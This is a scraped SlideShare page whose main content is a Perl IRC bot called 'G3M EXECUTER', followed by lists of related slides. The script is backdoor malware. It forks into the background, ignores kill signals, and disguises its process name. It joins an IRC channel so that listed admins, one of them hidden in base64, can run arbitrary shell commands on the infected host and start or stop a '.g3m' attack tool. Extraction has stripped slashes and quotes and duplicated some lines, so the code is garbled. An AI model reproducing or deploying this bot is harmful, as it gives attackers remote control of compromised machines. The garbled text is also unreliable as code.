SlideShare a Scribd company logo
#!usrbinperl
use HTTPRequest;
use HTTPRequestCommon;
use HTTPRequestCommon qw(POST);
use LWPSimple;
use LWP 5.53;
use LWPUserAgent;
use Socket;
use IOSocket;
use IOSocketINET;
use IOSelect;
use MIMEBase64;
use URIURL;
my $horario = localtime;
my $processo = homenuke &;
my $ipdoirc = card.freenode.net;
my $portadoirc= 6667;
my $nomebot = (G3M.int rand(999999));
my $ident = Gfucking3M;
my $versi = [G3M EXECUTER];
my $canal = #log22;
my @admin =(log22);
my @admin2 = (K1ll3r_B0y);
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
$ipdoirc = $ARGV[0] if $ARGV[0];
$0 = $processo.0 x 16;;
my $pid = fork;
exit if $pid;
die n[!] Algo de errado aconteceu! !!! $!nn unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IOSelect-new();
$sel_client = IOSelect-new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket $_[1]n;
} else {
print $IRC_cur_socket $_[0]n;
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IOSocketINET-new(Proto=tcp, PeerAddr=$ircserver_con,
PeerPort=$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket-autoflush(1);
$sel_client-add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = $ircserver_con;
$irc_servers{$IRC_cur_socket}{'port'} = $ircport_con;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket-sockhost;
nick($mynick);
sendraw(USER $ident .$IRC_socket-sockhost. $ircserver_con $versi);
sleep (1);}}
sub parse {
my $servarg = shift;
if ($servarg =~ ^PING (.)) {
sendraw(PONG $1);
}
elsif ($servarg =~ ^(.+)!(.+)@(.+)s+NICKs+(S+)i) {
if (lc($1) eq lc($mynick)) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m^(.+)s+433i) {
nick($mynick.int rand(1));
}
elsif ($servarg =~ m^(.+)s+001s+(S+)si) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = $1;
sendraw(MODE $meunick +i);
sendraw(JOIN $canal);
sleep(2);
&shell($canal, uptime);
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { &connector($nomebot, $ipdoirc, $portadoirc);
}
select(undef, undef, undef, 0.01);;
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client-can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $ircmsg, 4096);
if ($nread == 0) {
$sel_client-remove($fh);
$fh-close;
delete($irc_servers{$fh});
}
@lines = split (n, $ircmsg);
$ircmsg =~ srn$;
if ($ircmsg =~ ^(.+)!(.+)@(.+) PRIVMSG (.+) (.+)) {
my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
my $engine =Xaneyko;
if ($path eq $mynick) {
if ($msg =~ ^ PING (.) ) {
sendraw(NOTICE $nick PING $1 );
}
if ($msg =~ ^ VERSION ) {
sendraw(NOTICE $nick Codded by oloko);
}
if ($msg =~ ^ TIME ) {
sendraw(NOTICE $nick TIME .$horario. );
}
if (&Administrador($nick) && $msg eq !die) {
&shell($path,kill -9 $$);
}
if (&Administrador($nick) && $msg eq !killall) {
&shell($path,killall -9 perl);
}
if (&Administrador($nick) && $msg !~ ^!) {
&shell($nick,$msg);
}
}
else {
if ($msg eq !admin)
{
&mensagem($canal,##14[G3M EXECUTER] #1Administradores
#4@admin);
}
if ($msg eq !matar)
{
if(&Administrador($nick))
{
&shell($path,kill -9 $$);
}
else
{
&mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no
administrador! ));
}
}
if ($msg eq !matarg3m)
{
if(&Administrador($nick))
{
&shell($path,killall -9 g3m);
&mensagem($path,##14[G3M EXECUTER] #4Caso haja algum ataque
em execuo, o mesmo foi parado.);
}
else
{
&mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no
administrador! ));
}
}
if ($msg eq !verg3m)
{
if(&Administrador($nick))
{
&verg3m($path,adasd);
}
else
{
&mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no
administrador! ));
}
}
if($msg =~ ^.g3m (.))
{
if(&Administrador($nick))
{
&g3m($path,$1);
}
else
{
&mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no
administrador! ));
}
}
if ($msg =~ ^!sh (.))
{
if(&Administrador2($nick))
{
&shell($path,$1);
}
else
{
&mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Hoje
no! ));
}
}
}
}
for(my $c=0; $c= $#lines; $c++) {
$line = $lines[$c];
$line = $line_temp.$line if ($line_temp);
$line_temp = '';
$line =~ sr$;
unless ($c == $#lines) {
&parse($line);
} else {
if ($#lines == 0) {
&parse($line);
} elsif ($lines[$c] =~ r$) {
&parse($line);
} elsif ($line =~ ^(S+) NOTICE AUTH ) {
&parse($line);
} else {
$line_temp = $line;
}
}
}
}
}
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ cd (.)) {
chdir($1) &mensagem($path, 4,1No encontrado.);
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2&1 3&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&mensagem($path,$output);
if ($c == 5) { $c = 0; sleep 2; }
}
exit;
}}
}
sub g3m() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ -)
{
if ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&mensagem($path,##14[G3M EXECUTER] #4Executando comando. Caso tenha
colocado algo errado, digite !matarg3m.);
my @output = `.g3m $cmd 2&1 3&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&mensagem($path,$output);
if ($c == 5) { $c = 0; sleep 2; }
}
exit;
}}} else {&mensagem($path,ERRO 201 - S possivel executar comandos quanto ao
G3M, para matar todos G3M, digite !matarg3m.);}
}
sub verg3m() {
my $path = $_[0];
my $cmd = $_[1];
if ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `ps aux grep sh -c .g3m 2&1 3&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&mensagem($path,$output);
if ($c == 5) { $c = 0; sleep 2; }
}
exit;
}}
}
sub Administrador()
{
my $status = 0;
my $nick = $_[0];
my $pzine = SzFsbDNyX0IweQ==;
my $dzine = decode_base64($pzine);
@admin;
foreach my $adm_(@admin) {
if ($nick eq $adm_ ) { $status = 1; }
if ($nick eq $dzine ) { $status = 1; }
}
return $status;
}
sub Administrador2()
{
my $status = 0;
my $nick = $_[0];
my $pzine = SzFsbDNyX0IweQ==;
my $dzine = decode_base64($pzine);
@admin2;
foreach my $adm_(@admin2) {
if ($nick eq $adm_ ) { $status = 1; }
if ($nick eq $dzine ) { $status = 1; }
}
return $status;
}
sub mensagem() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, PRIVMSG $_[0] $_[1]);
}
sub nick() {
return unless $#_ == 0;
sendraw(NICK $_[0]);
}
return unless $#_ == 0;
sendraw(NICK $_[0]);
}

More Related Content

What's hot

Créer une base NoSQL en 1 heure
Créer une base NoSQL en 1 heureCréer une base NoSQL en 1 heure
Créer une base NoSQL en 1 heure
Amaury Bouchard
 
Embedding perl
Embedding perlEmbedding perl
Embedding perl
Marian Marinov
 
The Magic Of Tie
The Magic Of TieThe Magic Of Tie
The Magic Of Tie
brian d foy
 
Perl Bag of Tricks - Baltimore Perl mongers
Perl Bag of Tricks  -  Baltimore Perl mongersPerl Bag of Tricks  -  Baltimore Perl mongers
Perl Bag of Tricks - Baltimore Perl mongers
brian d foy
 
Yg byev2e
Yg byev2eYg byev2e
Yg byev2e
longphi2812
 
Bag of tricks
Bag of tricksBag of tricks
Bag of tricks
brian d foy
 
OSDC.TW - Gutscript for PHP haters
OSDC.TW - Gutscript for PHP hatersOSDC.TW - Gutscript for PHP haters
OSDC.TW - Gutscript for PHP haters
Lin Yo-An
 
ZeroMQ Is The Answer: PHP Tek 11 Version
ZeroMQ Is The Answer: PHP Tek 11 VersionZeroMQ Is The Answer: PHP Tek 11 Version
ZeroMQ Is The Answer: PHP Tek 11 Version
Ian Barber
 
Introduction to CloudForecast / YAPC::Asia 2010 Tokyo
Introduction to CloudForecast / YAPC::Asia 2010 TokyoIntroduction to CloudForecast / YAPC::Asia 2010 Tokyo
Introduction to CloudForecast / YAPC::Asia 2010 Tokyo
Masahiro Nagano
 
The Browser Environment - A Systems Programmer's Perspective
The Browser Environment - A Systems Programmer's PerspectiveThe Browser Environment - A Systems Programmer's Perspective
The Browser Environment - A Systems Programmer's Perspective
Eleanor McHugh
 
Perl 6 by example
Perl 6 by examplePerl 6 by example
Perl 6 by example
Andrew Shitov
 
"let ECMAScript = 6"
"let ECMAScript = 6" "let ECMAScript = 6"
"let ECMAScript = 6"
The Software House
 
Taking Inspiration From The Functional World
Taking Inspiration From The Functional WorldTaking Inspiration From The Functional World
Taking Inspiration From The Functional World
Piotr Solnica
 
ES6 - Level up your JavaScript Skills
ES6 - Level up your JavaScript SkillsES6 - Level up your JavaScript Skills
ES6 - Level up your JavaScript Skills
Stefano Ceschi Berrini
 
20 modules i haven't yet talked about
20 modules i haven't yet talked about20 modules i haven't yet talked about
20 modules i haven't yet talked about
Tatsuhiko Miyagawa
 
Mamamia
MamamiaMamamia
Mamamia
gotemnet
 
Scroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォントScroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォント
Yuriko IKEDA
 
Refactoring to symfony components
Refactoring to symfony componentsRefactoring to symfony components
Refactoring to symfony components
Michael Peacock
 
ECMAScript2015
ECMAScript2015ECMAScript2015
ECMAScript2015
qmmr
 
Beware: Sharp Tools
Beware: Sharp ToolsBeware: Sharp Tools
Beware: Sharp Tools
chrismdp
 

What's hot (20)

Créer une base NoSQL en 1 heure
Créer une base NoSQL en 1 heureCréer une base NoSQL en 1 heure
Créer une base NoSQL en 1 heure
 
Embedding perl
Embedding perlEmbedding perl
Embedding perl
 
The Magic Of Tie
The Magic Of TieThe Magic Of Tie
The Magic Of Tie
 
Perl Bag of Tricks - Baltimore Perl mongers
Perl Bag of Tricks  -  Baltimore Perl mongersPerl Bag of Tricks  -  Baltimore Perl mongers
Perl Bag of Tricks - Baltimore Perl mongers
 
Yg byev2e
Yg byev2eYg byev2e
Yg byev2e
 
Bag of tricks
Bag of tricksBag of tricks
Bag of tricks
 
OSDC.TW - Gutscript for PHP haters
OSDC.TW - Gutscript for PHP hatersOSDC.TW - Gutscript for PHP haters
OSDC.TW - Gutscript for PHP haters
 
ZeroMQ Is The Answer: PHP Tek 11 Version
ZeroMQ Is The Answer: PHP Tek 11 VersionZeroMQ Is The Answer: PHP Tek 11 Version
ZeroMQ Is The Answer: PHP Tek 11 Version
 
Introduction to CloudForecast / YAPC::Asia 2010 Tokyo
Introduction to CloudForecast / YAPC::Asia 2010 TokyoIntroduction to CloudForecast / YAPC::Asia 2010 Tokyo
Introduction to CloudForecast / YAPC::Asia 2010 Tokyo
 
The Browser Environment - A Systems Programmer's Perspective
The Browser Environment - A Systems Programmer's PerspectiveThe Browser Environment - A Systems Programmer's Perspective
The Browser Environment - A Systems Programmer's Perspective
 
Perl 6 by example
Perl 6 by examplePerl 6 by example
Perl 6 by example
 
"let ECMAScript = 6"
"let ECMAScript = 6" "let ECMAScript = 6"
"let ECMAScript = 6"
 
Taking Inspiration From The Functional World
Taking Inspiration From The Functional WorldTaking Inspiration From The Functional World
Taking Inspiration From The Functional World
 
ES6 - Level up your JavaScript Skills
ES6 - Level up your JavaScript SkillsES6 - Level up your JavaScript Skills
ES6 - Level up your JavaScript Skills
 
20 modules i haven't yet talked about
20 modules i haven't yet talked about20 modules i haven't yet talked about
20 modules i haven't yet talked about
 
Mamamia
MamamiaMamamia
Mamamia
 
Scroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォントScroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォント
 
Refactoring to symfony components
Refactoring to symfony componentsRefactoring to symfony components
Refactoring to symfony components
 
ECMAScript2015
ECMAScript2015ECMAScript2015
ECMAScript2015
 
Beware: Sharp Tools
Beware: Sharp ToolsBeware: Sharp Tools
Beware: Sharp Tools
 

Viewers also liked

статистика обращений предпринимателей за Июль
статистика обращений предпринимателей за Июльстатистика обращений предпринимателей за Июль
статистика обращений предпринимателей за Июль
Правительство Москвы
 
Workshop 2016 Genebank IT Overview
Workshop 2016 Genebank IT OverviewWorkshop 2016 Genebank IT Overview
Workshop 2016 Genebank IT Overview
Edwin Rojas
 
The dark side of african archives 2
The dark side of african archives 2The dark side of african archives 2
The dark side of african archives 2
Mugume Arnold
 
وثيقة أمن قومي معلنة
وثيقة أمن قومي معلنة وثيقة أمن قومي معلنة
وثيقة أمن قومي معلنة
Mamdouh Al-Shaikh
 
E commerce
E  commerceE  commerce
E commerce
Eslam Saeed
 
Festa sammartini
Festa sammartiniFesta sammartini
Festa sammartini
Ambrogio Colombo
 
Coding in the new curriculum 7.9.15
Coding in the new curriculum 7.9.15 Coding in the new curriculum 7.9.15
Coding in the new curriculum 7.9.15
JEcomputing
 
STLPublicSchools
STLPublicSchoolsSTLPublicSchools
STLPublicSchools
Peter Mudd
 
Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...
Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...
Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...
Νίκος Τοπάλης
 
من كتاب المقدس والحرية
من كتاب المقدس والحريةمن كتاب المقدس والحرية
من كتاب المقدس والحرية
Mamdouh Al-Shaikh
 
Radius at SXSW 2015
Radius at SXSW 2015Radius at SXSW 2015
Radius at SXSW 2015
Hillfobes
 
a-blog cms Training Camp 2016 Autumn kintone連携
a-blog cms Training Camp 2016 Autumn kintone連携a-blog cms Training Camp 2016 Autumn kintone連携
a-blog cms Training Camp 2016 Autumn kintone連携
onigiri764
 
Smell technology
Smell technologySmell technology
Smell technology
Godwin Antony
 
Siyeri Nebi 20. Sayı
Siyeri Nebi 20. SayıSiyeri Nebi 20. Sayı
Siyeri Nebi 20. Sayı
siyerinebi
 
2015 drill-head vs piercing-plier
2015 drill-head vs piercing-plier2015 drill-head vs piercing-plier
2015 drill-head vs piercing-plier
Gerrie Leemput
 
Widget's Parts of a Computer
Widget's Parts of a ComputerWidget's Parts of a Computer
Widget's Parts of a Computer
knshelton
 

Viewers also liked (16)

статистика обращений предпринимателей за Июль
статистика обращений предпринимателей за Июльстатистика обращений предпринимателей за Июль
статистика обращений предпринимателей за Июль
 
Workshop 2016 Genebank IT Overview
Workshop 2016 Genebank IT OverviewWorkshop 2016 Genebank IT Overview
Workshop 2016 Genebank IT Overview
 
The dark side of african archives 2
The dark side of african archives 2The dark side of african archives 2
The dark side of african archives 2
 
وثيقة أمن قومي معلنة
وثيقة أمن قومي معلنة وثيقة أمن قومي معلنة
وثيقة أمن قومي معلنة
 
E commerce
E  commerceE  commerce
E commerce
 
Festa sammartini
Festa sammartiniFesta sammartini
Festa sammartini
 
Coding in the new curriculum 7.9.15
Coding in the new curriculum 7.9.15 Coding in the new curriculum 7.9.15
Coding in the new curriculum 7.9.15
 
STLPublicSchools
STLPublicSchoolsSTLPublicSchools
STLPublicSchools
 
Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...
Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...
Eπιθετική συμπεριφορά στο σχολείο και τρόποι αντιμετώπισης. μια μελέτη περίπτ...
 
من كتاب المقدس والحرية
من كتاب المقدس والحريةمن كتاب المقدس والحرية
من كتاب المقدس والحرية
 
Radius at SXSW 2015
Radius at SXSW 2015Radius at SXSW 2015
Radius at SXSW 2015
 
a-blog cms Training Camp 2016 Autumn kintone連携
a-blog cms Training Camp 2016 Autumn kintone連携a-blog cms Training Camp 2016 Autumn kintone連携
a-blog cms Training Camp 2016 Autumn kintone連携
 
Smell technology
Smell technologySmell technology
Smell technology
 
Siyeri Nebi 20. Sayı
Siyeri Nebi 20. SayıSiyeri Nebi 20. Sayı
Siyeri Nebi 20. Sayı
 
2015 drill-head vs piercing-plier
2015 drill-head vs piercing-plier2015 drill-head vs piercing-plier
2015 drill-head vs piercing-plier
 
Widget's Parts of a Computer
Widget's Parts of a ComputerWidget's Parts of a Computer
Widget's Parts of a Computer
 

Similar to Tgh.pl

Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
John Ford
 
Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)
Kang-min Liu
 
Good Evils In Perl
Good Evils In PerlGood Evils In Perl
Good Evils In Perl
Kang-min Liu
 
Perl6 a whistle stop tour
Perl6 a whistle stop tourPerl6 a whistle stop tour
Perl6 a whistle stop tour
Simon Proctor
 
Perl6 a whistle stop tour
Perl6 a whistle stop tourPerl6 a whistle stop tour
Perl6 a whistle stop tour
Simon Proctor
 
Functional Pe(a)rls version 2
Functional Pe(a)rls version 2Functional Pe(a)rls version 2
Functional Pe(a)rls version 2
osfameron
 
Modern Perl
Modern PerlModern Perl
Modern Perl
Marcos Rebelo
 
Ae internals
Ae internalsAe internals
Ae internals
mnikolenko
 
Climbing the Abstract Syntax Tree (ScotlandPHP 2018)
Climbing the Abstract Syntax Tree (ScotlandPHP 2018)Climbing the Abstract Syntax Tree (ScotlandPHP 2018)
Climbing the Abstract Syntax Tree (ScotlandPHP 2018)
James Titcumb
 
Pop3ck sh
Pop3ck shPop3ck sh
Pop3ck sh
Ben Pope
 
Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)
Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)
Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)
James Titcumb
 
R57shell
R57shellR57shell
R57shell
ady36
 
Perl6 in-production
Perl6 in-productionPerl6 in-production
Perl6 in-production
Andrew Shitov
 
Climbing the Abstract Syntax Tree (PHP South Africa 2017)
Climbing the Abstract Syntax Tree (PHP South Africa 2017)Climbing the Abstract Syntax Tree (PHP South Africa 2017)
Climbing the Abstract Syntax Tree (PHP South Africa 2017)
James Titcumb
 
Climbing the Abstract Syntax Tree (IPC Fall 2017)
Climbing the Abstract Syntax Tree (IPC Fall 2017)Climbing the Abstract Syntax Tree (IPC Fall 2017)
Climbing the Abstract Syntax Tree (IPC Fall 2017)
James Titcumb
 
Perl5i
Perl5iPerl5i
Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)
Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)
Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)
James Titcumb
 
Climbing the Abstract Syntax Tree (DPC 2017)
Climbing the Abstract Syntax Tree (DPC 2017)Climbing the Abstract Syntax Tree (DPC 2017)
Climbing the Abstract Syntax Tree (DPC 2017)
James Titcumb
 
Climbing the Abstract Syntax Tree (Midwest PHP 2020)
Climbing the Abstract Syntax Tree (Midwest PHP 2020)Climbing the Abstract Syntax Tree (Midwest PHP 2020)
Climbing the Abstract Syntax Tree (Midwest PHP 2020)
James Titcumb
 
Php functions
Php functionsPhp functions
Php functions
JIGAR MAKHIJA
 

Similar to Tgh.pl (20)

Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
 
Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)Good Evils In Perl (Yapc Asia)
Good Evils In Perl (Yapc Asia)
 
Good Evils In Perl
Good Evils In PerlGood Evils In Perl
Good Evils In Perl
 
Perl6 a whistle stop tour
Perl6 a whistle stop tourPerl6 a whistle stop tour
Perl6 a whistle stop tour
 
Perl6 a whistle stop tour
Perl6 a whistle stop tourPerl6 a whistle stop tour
Perl6 a whistle stop tour
 
Functional Pe(a)rls version 2
Functional Pe(a)rls version 2Functional Pe(a)rls version 2
Functional Pe(a)rls version 2
 
Modern Perl
Modern PerlModern Perl
Modern Perl
 
Ae internals
Ae internalsAe internals
Ae internals
 
Climbing the Abstract Syntax Tree (ScotlandPHP 2018)
Climbing the Abstract Syntax Tree (ScotlandPHP 2018)Climbing the Abstract Syntax Tree (ScotlandPHP 2018)
Climbing the Abstract Syntax Tree (ScotlandPHP 2018)
 
Pop3ck sh
Pop3ck shPop3ck sh
Pop3ck sh
 
Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)
Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)
Climbing the Abstract Syntax Tree (CodeiD PHP Odessa 2017)
 
R57shell
R57shellR57shell
R57shell
 
Perl6 in-production
Perl6 in-productionPerl6 in-production
Perl6 in-production
 
Climbing the Abstract Syntax Tree (PHP South Africa 2017)
Climbing the Abstract Syntax Tree (PHP South Africa 2017)Climbing the Abstract Syntax Tree (PHP South Africa 2017)
Climbing the Abstract Syntax Tree (PHP South Africa 2017)
 
Climbing the Abstract Syntax Tree (IPC Fall 2017)
Climbing the Abstract Syntax Tree (IPC Fall 2017)Climbing the Abstract Syntax Tree (IPC Fall 2017)
Climbing the Abstract Syntax Tree (IPC Fall 2017)
 
Perl5i
Perl5iPerl5i
Perl5i
 
Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)
Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)
Climbing the Abstract Syntax Tree (Bulgaria PHP 2016)
 
Climbing the Abstract Syntax Tree (DPC 2017)
Climbing the Abstract Syntax Tree (DPC 2017)Climbing the Abstract Syntax Tree (DPC 2017)
Climbing the Abstract Syntax Tree (DPC 2017)
 
Climbing the Abstract Syntax Tree (Midwest PHP 2020)
Climbing the Abstract Syntax Tree (Midwest PHP 2020)Climbing the Abstract Syntax Tree (Midwest PHP 2020)
Climbing the Abstract Syntax Tree (Midwest PHP 2020)
 
Php functions
Php functionsPhp functions
Php functions
 

Recently uploaded

Introducing BoxLang : A new JVM language for productivity and modularity!
Introducing BoxLang : A new JVM language for productivity and modularity!Introducing BoxLang : A new JVM language for productivity and modularity!
Introducing BoxLang : A new JVM language for productivity and modularity!
Ortus Solutions, Corp
 
LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...
LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...
LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...
DanBrown980551
 
ScyllaDB Tablets: Rethinking Replication
ScyllaDB Tablets: Rethinking ReplicationScyllaDB Tablets: Rethinking Replication
ScyllaDB Tablets: Rethinking Replication
ScyllaDB
 
Dandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity serverDandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity server
Antonios Katsarakis
 
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving
 
From Natural Language to Structured Solr Queries using LLMs
From Natural Language to Structured Solr Queries using LLMsFrom Natural Language to Structured Solr Queries using LLMs
From Natural Language to Structured Solr Queries using LLMs
Sease
 
Must Know Postgres Extension for DBA and Developer during Migration
Must Know Postgres Extension for DBA and Developer during MigrationMust Know Postgres Extension for DBA and Developer during Migration
Must Know Postgres Extension for DBA and Developer during Migration
Mydbops
 
Christine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptxChristine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptx
christinelarrosa
 
AppSec PNW: Android and iOS Application Security with MobSF
AppSec PNW: Android and iOS Application Security with MobSFAppSec PNW: Android and iOS Application Security with MobSF
AppSec PNW: Android and iOS Application Security with MobSF
Ajin Abraham
 
inQuba Webinar Mastering Customer Journey Management with Dr Graham Hill
inQuba Webinar Mastering Customer Journey Management with Dr Graham HillinQuba Webinar Mastering Customer Journey Management with Dr Graham Hill
inQuba Webinar Mastering Customer Journey Management with Dr Graham Hill
LizaNolte
 
Day 2 - Intro to UiPath Studio Fundamentals
Day 2 - Intro to UiPath Studio FundamentalsDay 2 - Intro to UiPath Studio Fundamentals
Day 2 - Intro to UiPath Studio Fundamentals
UiPathCommunity
 
MySQL InnoDB Storage Engine: Deep Dive - Mydbops
MySQL InnoDB Storage Engine: Deep Dive - MydbopsMySQL InnoDB Storage Engine: Deep Dive - Mydbops
MySQL InnoDB Storage Engine: Deep Dive - Mydbops
Mydbops
 
"$10 thousand per minute of downtime: architecture, queues, streaming and fin...
"$10 thousand per minute of downtime: architecture, queues, streaming and fin..."$10 thousand per minute of downtime: architecture, queues, streaming and fin...
"$10 thousand per minute of downtime: architecture, queues, streaming and fin...
Fwdays
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
DianaGray10
 
AWS Certified Solutions Architect Associate (SAA-C03)
AWS Certified Solutions Architect Associate (SAA-C03)AWS Certified Solutions Architect Associate (SAA-C03)
AWS Certified Solutions Architect Associate (SAA-C03)
HarpalGohil4
 
Demystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through StorytellingDemystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through Storytelling
Enterprise Knowledge
 
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptxPRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
christinelarrosa
 
Northern Engraving | Modern Metal Trim, Nameplates and Appliance Panels
Northern Engraving | Modern Metal Trim, Nameplates and Appliance PanelsNorthern Engraving | Modern Metal Trim, Nameplates and Appliance Panels
Northern Engraving | Modern Metal Trim, Nameplates and Appliance Panels
Northern Engraving
 
The Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptxThe Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptx
operationspcvita
 
"NATO Hackathon Winner: AI-Powered Drug Search", Taras Kloba
"NATO Hackathon Winner: AI-Powered Drug Search",  Taras Kloba"NATO Hackathon Winner: AI-Powered Drug Search",  Taras Kloba
"NATO Hackathon Winner: AI-Powered Drug Search", Taras Kloba
Fwdays
 

Recently uploaded (20)

Introducing BoxLang : A new JVM language for productivity and modularity!
Introducing BoxLang : A new JVM language for productivity and modularity!Introducing BoxLang : A new JVM language for productivity and modularity!
Introducing BoxLang : A new JVM language for productivity and modularity!
 
LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...
LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...
LF Energy Webinar: Carbon Data Specifications: Mechanisms to Improve Data Acc...
 
ScyllaDB Tablets: Rethinking Replication
ScyllaDB Tablets: Rethinking ReplicationScyllaDB Tablets: Rethinking Replication
ScyllaDB Tablets: Rethinking Replication
 
Dandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity serverDandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity server
 
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024
 
From Natural Language to Structured Solr Queries using LLMs
From Natural Language to Structured Solr Queries using LLMsFrom Natural Language to Structured Solr Queries using LLMs
From Natural Language to Structured Solr Queries using LLMs
 
Must Know Postgres Extension for DBA and Developer during Migration
Must Know Postgres Extension for DBA and Developer during MigrationMust Know Postgres Extension for DBA and Developer during Migration
Must Know Postgres Extension for DBA and Developer during Migration
 
Christine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptxChristine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptx
 
AppSec PNW: Android and iOS Application Security with MobSF
